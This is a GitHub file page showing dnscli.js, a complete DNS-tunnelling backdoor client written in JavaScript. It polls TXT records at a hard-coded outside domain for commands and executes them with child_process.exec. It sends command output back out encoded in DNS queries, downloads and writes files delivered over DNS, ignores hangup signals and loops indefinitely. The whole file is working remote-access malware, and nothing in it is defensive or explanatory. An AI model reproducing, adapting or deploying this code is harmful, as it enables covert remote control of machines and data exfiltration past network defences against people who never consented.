-
Notifications
You must be signed in to change notification settings - Fork 1
/
dnscli.js
192 lines (163 loc) · 4.4 KB
/
dnscli.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
const DOMAIN = 'zcz.cflems.org';
const MAX_CHUNK_SIZE = 35;
const MAX_ENCODED_SIZE = 63;
const MAX_TOTAL_SIZE = 255 - DOMAIN.length;
const MAX_CHUNKS = Math.floor(MAX_TOTAL_SIZE / MAX_ENCODED_SIZE);
const NOP_SLEEP_TIME = 1;
if (typeof require === 'undefined')
require = global.require || global.process.mainModule.constructor._load;
if (typeof process === 'undefined')
process = global.process;
const dns = require('dns');
const cp = require('child_process');
const Buffer = require('buffer').Buffer;
const fs = require('fs');
process.on('SIGHUP', function() {});
function sleep(sec) {
return new Promise(function(resolve) {
setTimeout(resolve, 1000*sec);
});
}
function getDNSText(dest) {
return new Promise(function(resolve, reject) {
dns.resolveTxt(dest, function(err, records) {
if (err) reject(err);
else resolve(records);
});
});
}
function system(cmd) {
return new Promise(function(resolve, reject) {
cp.exec(cmd, function (err, stdout, stderr) {
resolve({stdout, stderr});
});
});
}
async function eventLoop() {
while (true) {
try {
await event();
} catch (e) {
await sleep(NOP_SLEEP_TIME);
}
}
}
async function event() {
const records = await getDNSText('asuh.' + DOMAIN);
if (!records[0] || !records[0][0] || records[0][0] == 'nop') {
await sleep(NOP_SLEEP_TIME);
return;
}
for (const record of records) {
const rtxt = record.join('');
if (rtxt.startsWith('payload ')) {
const args = rtxt.split(' ');
if (args.length < 4) continue;
const fn = args[1];
const pd = args[2];
const chunks = parseInt(args[3]);
await storePayload(fn, pd, chunks);
continue;
}
let {stdout, stderr} = await system(rtxt);
let packets = [];
stdout = stdout.trim();
stderr = stderr.trim();
if (stdout.length > 0) {
for (let line of stdout.split('\n')) {
packets = packets.concat(encode(line));
}
}
if (stderr.length > 0) {
for (line of stderr.split('\n')) {
packets = packets.concat(encode(line));
}
}
packets = packets.concat(encode('\xde\xadDN'));
for (const packet of packets) {
await getDNSText(packet + DOMAIN);
}
}
}
async function storePayload(name, desc, n_chunks) {
const parallel = [];
for (let i = 0; i < n_chunks; i++) {
const req = encode('\xde\xadPL '+desc+' '+i)[0];
parallel.push(getDNSText(req + DOMAIN).then(function(records) {
return records.map(r => r.join('')).join('');
}));
}
const chunks = await Promise.all(parallel);
const buffer = Buffer.from(chunks.join(''), 'base64');
fs.writeFileSync(name, buffer, {mode: 0o644});
await getDNSText(encode('\xde\xadPD')[0] + DOMAIN);
}
function encode(s) {
const packets = [];
let parcel = '';
while (s.length > 0) {
const chunk = b32(s.substr(0, MAX_CHUNK_SIZE));
if (parcel.length + chunk.length + 1 > MAX_TOTAL_SIZE) {
packets.push(parcel);
parcel = '';
}
parcel = chunk + '.' + parcel;
s = s.substr(MAX_CHUNK_SIZE);
}
if (parcel.length > 0) packets.push(parcel);
return packets;
}
function b32(s) {
const a = 'abcdefghijklmnopqrstuvwxy1234567';
const pad = 'z';
const len = s.length;
let o = '';
let w, c, r=0, sh=0;
for(let i=0; i<len; i+=5) {
c = s.charCodeAt(i);
w = 0xf8 & c;
o += a.charAt(w>>3);
r = 0x07 & c;
sh = 2;
if ((i+1)<len) {
c = s.charCodeAt(i+1);
w = 0xc0 & c;
o += a.charAt((r<<2) + (w>>6));
o += a.charAt( (0x3e & c) >> 1 );
r = c & 0x01;
sh = 4;
}
if ((i+2)<len) {
c = s.charCodeAt(i+2);
w = 0xf0 & c;
o += a.charAt((r<<4) + (w>>4));
r = 0x0f & c;
sh = 1;
}
if ((i+3)<len) {
c = s.charCodeAt(i+3);
w = 0x80 & c;
o += a.charAt((r<<1) + (w>>7));
o += a.charAt((0x7c & c) >> 2);
r = 0x03 & c;
sh = 3;
}
if ((i+4)<len) {
c = s.charCodeAt(i+4);
w = 0xe0 & c;
o += a.charAt((r<<3) + (w>>5));
o += a.charAt(0x1f & c);
r = 0;
sh = 0;
}
}
if (sh != 0) { o += a.charAt(r<<sh); }
const padlen = 8 - (o.length % 8);
if (padlen==8) { return o; }
if (padlen==1) { return o + pad; }
if (padlen==3) { return o + pad + pad + pad; }
if (padlen==4) { return o + pad + pad + pad + pad; }
if (padlen==6) { return o + pad + pad + pad + pad + pad + pad; }
return false;
}
eventLoop();